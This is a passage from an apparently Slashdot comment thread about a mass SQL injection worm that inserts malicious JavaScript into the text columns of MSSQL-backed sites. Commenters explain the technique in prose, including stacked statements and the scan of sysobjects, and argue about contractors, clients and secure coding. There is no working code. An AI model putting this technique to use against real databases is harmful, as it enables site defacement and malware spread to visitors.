    Amen. I'm not going to name names here, but I've fixed two sites so far for clients who got hit with this worm. In the one case, soon after I got there, before the worm came out, I did an informal and mostly unasked-for security audit and found the site was open to SQL Injection attacks. I dutifully notified management and proposed some solutions, and nothing came of it. I brought it up once or twice more and made sure there was a written record of my suggestion, but still nothing came of it.

    Once the site got hacked, I fixed it, and I closed the entry vectors. It should be obvious that this isn't how I PREFER to work, but I'm not going to stick my neck out and do work that wasn't approved and risk not getting paid for it either. It does make them more likely to listen to me next time I notify them of a security problem :-/

    In the other instance someone saw one of my ads and phoned me up that their client's site wasn't working. I was able to deduce the problem within a couple minutes and fix the issue quite quickly which made everyone very happy.

    I should add that in neither of these cases was the original compromised code mine!

  57. Re:Not really new by _xeno_ · · Score: 2, Interesting

    Mr. Certified .NET Developer who knows .NET but has now clue on how the web works so he assumes that if he puts a size limit on that textbox or make important fields hidden he is safe.

    That reminds me of a time when I was asked to help someone add a new feature to a set of reports generated on an internal web app. I take a look, and discover that this system works by generating SQL statements based on the form fields in client-side JavaScript before loading them in a new window via window.open. So you had ?sql=SELECT+*+FROM+TABLE sitting there for all to see.

    Checking the JSP (it's not just .NET devs) confirmed that it was just blindly passing whatever it got to the database and essentially dumping the resulting data as an HTML table.

    I tried to explain why this is a bad thing, that anyone can run any SQL statement the want through the address bar. And he agrees, that's a bad thing. Fortunately, he immediately saw the solution:

    Pass the SQL statements with a POST.

    Eventually I was able to convince him that, no, POST requests aren't magic and yes, people can, in fact, create arbitrary POST requests.

    --
    You are in a maze of twisty little relative jumps, all alike.
  58. Re:Not really new by grahamd0 · · Score: 1

    Like I said, the 4 hours was hypothetical. It was the amount of time the grandparent had mentioned in his post. If I were doing consulting work (I've been on salary for the last couple of years), I couldn't imagine a circumstance where I wouldn't bill 4 hours over my estimate. If your estimates are so far off that your clients won't pay actuals or you're uncomfortable even billing them then you're obviously inexperienced, and that's part of gaining experience. Sorry if I threw you off there.

    My point was that you should be planning to build your application right from the beginning, and saying a client or management didn't ask for it to be right is just making excuses for your own incompetence.

  59. Re:Not really new by warsql · · Score: 3, Interesting

    You sound like a very competent developer. Too bad you will never contract at the company I work for (and many others I know of) because the management can't be convinced that using fixed bid doesn't limit liability. They continue to bid out work - fixed bid only - pay for that project, get a pile of garbage delivered, then pay more to get it fixed. I've given up that fight a while ago.

    --
    878659 - yep its prime.
  60. trust no one :P by creaktive · · Score: 1

    Another one about the old bugs floating out of the void... Please vote :) http://slashdot.org/firehose.pl?op=view&id=803927

  61. Re:Not really new by Anonymous Coward · · Score: 3, Interesting

    As a contractor myself, here's how that scenario sometimes goes:

    * Client requests bid for web project
    * I produce bid for web project, allowing for secure practices
    * Client thinks bid is "high", requests task itemization
    * Upon further review, some involved employee of client asks "What would this part cost without all that secure coding stuff?"
    * Regardless of my answer, the client responds "We don't need that, redo the bid without it"
    * Attempting to "hide" the extra work in the itemization is dishonest, and the likely result is that someone else will get the work, or the client will decide not to do the work
    * I can turn down an otherwise good contract, or I can produce insecure web pages; nice choice, that

    Sometimes the best you can do is document the client's intent to cut corners.

    - T

  62. Re:Not really new by servies · · Score: 1

    And that's why all the toys these days are coming from China... where there's allmost no quality control etc... because they want these toys the cheap way...

  63. MSSQL is particularly vulnerable by butlerm · · Score: 1

    The "feature" of MSSQL that allows compound statements separated by semicolons, without any sort of begin / end block, makes it particularly vulnerable to this type of SQL injection attack.

    This type of attack requires more than just modifying a where clause or changing a value - it requires injecting one or more complete statements. MSSQL allows you to begin a new statement in the middle of any unchecked parameter. Most databases don't. That is why MSSQL is unusually vulnerable to this sort of attack.

    Oracle applications with unchecked parameters (for example) are difficult to exploit this way because compound statements must occur in a PL/SQL begin end block and it is usually impossible to inject text at both the beginning and end of a statement.

  64. Re:Not really new by aclarke · · Score: 1

    See this post as to why I don't do fixed bid work.

    Also, I'm regularly turning away work as it is, so why should I spend hours and hours of extra time bidding out jobs that I don't have time to take anyway? I just tell clients that I work hourly, and if they're OK with that then we move on.

    Granted, I'm never going to make huge extra profits this way, but overall I think it's fairest to everyone. If the client wants, I give a range of what a project will cost with a low and high cost, and if my costs start to get up to the high number I let my client know.

  65. One World, One Dream by FreeUser · · Score: 1

    Now we know whose dream it is.

    --
    The Future of Human Evolution: Autonomy
  66. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  67. Re:Not really new by Anonymous Coward · · Score: 0

    Hi,
    Try this www.radio3net.ro/1001 . it's a romanian site where u'll find the best 1001 albums to listen before you die. Most of the albums have videoclip, pictures and lyrics.

  68. Re:Not really new by jellomizer · · Score: 1

    Even when you bill hourly there is always the risk they will not pay for work. ...cough...G..E..cough... if you are working hourly and they see you doing anything not in the spec they wont pay for it but gladly use it. What company's want is hourly up to a point then it stays at fixed price. They are fine hourly until you exceed the quote by 25% then they will try to get into fix price. You could refuse it but you will not work with them again or try to make a deal take a beating but still leave with something and the next round make a better quote, which is easer as you are a proven contractor.
    Consultanting reminds me when I was in high school when I worked in a Hardware (Hammers,Nails etc...) store in one of their trade rags. There was an add They Lie, They Steal, They Pay their bills late... but they are your best customer.

    These jobs is not all about making clean code. You can be the best programmer in the world but if the client doesn't like, trust, or can work with you. They will not come back to you. And will be happier with someone who is less skilled but works better with the customer. And you have to take not doing your best work vs. loosing the job. I usually on record mention that X and Y should be done however it is up to management to say do it or not.

    --
    If something is so important that you feel the need to post it on the internet... It probably isn't that important.
  69. Re:Not really new by crul · · Score: 0

    It's always the contractors fault...

  70. Have these guys been on Holiday.. by Jack+Hughes · · Score: 2, Informative
    .. For the last three months?

    The attack is ancient.

    The method of delivery is a bit newer - a few months ago it all got a lot more efficiently delivered - it's pretty mainstream knowledge, even this article from the paper edition of SC Magazine talks about it - and their copy deadlines will be from weeks ago.

  71. seems pretty widespead by Anonymous Coward · · Score: 0

    I had to clean up my one site that was sql injected with that js file. I hear its a b**** to clean up that trojan it downloads too, people are reformatting for the most part.

    seems as if sql injections are becoming more and more popular these days. I heard some pages on Yahoo were affected with this as well. Crazy

  72. Wouldn't work on ASE... by MattRog · · Score: 1

    for a few reasons, the biggest of which is that no one in their right mind would use ASE on Windows to begin with (thus probably wouldn't be running IIS)...

    But seriously, ASE doesn't use xtype in such a way, nor do (most) of the (x)type ID's match up to meaningful ASE datatypes (the TEXT type IDs do match).

    Anyway, ASE admins need not fear any more than Oracle or MySQL or DB2 or PostgreSQL or $DB admins; this script would have to be modified to run successfully on ASE.

    --

    Thanks,
    --
    Matt
  73. Re:Not really new by CrazedSanity · · Score: 1

    I'm a contractor and I've worked on many programming jobs: from adding e-commerce to a website, to building scripts that handle password expiration and user deletion. As of recently, the company I contract through has updated the wording of their contracts to explicitly include extra time for bug-checking and security related testing (it's an abstract timeframe, I think they say about 20% over the time it takes to build the system, plus possibly more if issues are found).

    Given that information, I think the problem is sort of with management though not where most of the above posts are pointing. I would say the management that isn't giving proper consideration to bugs and security is the company (or individual) setting up the contractual work. It should be implicit in the contract that extra time will be taken to guard against future problems. I would very much doubt that very many prospective companies would not give a contract based on that condition; doing so would be like saying, "we want it done fast and cheap, we don't want to worry about security." Of course, that may be the exception and not the rule... *cry*

    --
    Sanity is like a condom: rather have it and not need it, than need it and not have it.
  74. old news by Anonymous Coward · · Score: 0

    This has been going on since last year. There have been numerous mainstream media and blog posts about it. Also calling this phishing is misnomer, the bad guys are injecting malicious content onto legitimate websites, not setting up a fake version of a legitimate website.

  75. Details? by slashdotwannabe · · Score: 1

    TFA doesn't mention nearly enough details.

    1. Which version(s) of MSSQL are vulnerable?
    2. Whats this crap about HTML in the database? It's a damn SQL server, not a web server. If HTML is stored in the DB ala a content manager, how the hell would this attack know the schema of the DB to be able to alter the rows to to the extent necessary to inject it's code? If it's a well known CMS such as Nuke, fine, but even that's a stretch.
    --
    This comment is my opinion and does not represent an official position of Donald Trump or others I do not work for
    1. Re:Details? by Anonymous Coward · · Score: 0

      The attack doesn't care about the db schema, it merely does a brute force by reading the sysobjects table and inserting its javascript into every column of type varchar that it finds. If it gets lucky the site will use one of those fields to display content.

  76. Re:Not really new by grahamd0 · · Score: 1

    Sometimes the best you can do is document the client's intent to cut corners.

    True dat. But that street goes both ways. The assumption that a contractor needs client X and thus should do second rate work to keep their business is a fallacy. A common one, but a fallacy none the less.

    Lets look at the big picture: You build site Y for client X. Client X wants to save a few bucks and opts to have you remove those useless "security" features. Site Y gets hacked. Client X is unhappy. Do they blame themselves? Ha! Contractor may be called in to fix he problem, but there's a good chance contractor has lost future business with client X. Client X may have friends and acquaintances in contractor's business area. Contractor loses good reputation with those people (who might themselves be good clients, but you won't know, you don't get the chance to work with them).

    There are bigger issues at stake than a quick buck.

  77. Re:Not really new by grahamd0 · · Score: 1

    If that works for you, great. Power to you.

    I'm not sure what we're debating anymore. I'm talking about taking pride in your work and basic professionalism and you're talking about billing models. Are you trying to use your billing model as a proxy to defend your right to deliver a sub-standard product? Or are you suggesting that binding estimates and quality work are antithetical to each other?

  78. This won't infect any Sybase systems! by buuz24 · · Score: 1

    The syntax shown would not run correctly on Sybase Adaptive Server Enterprise (ASE), as opposed to MS-SQL. The difference lies in the way the statments are grouped into a batch: in this form, it's invalid syntax in ASE (though it would be correct syntax in a stored procedure in ASE, but that's just a few bridges too far here)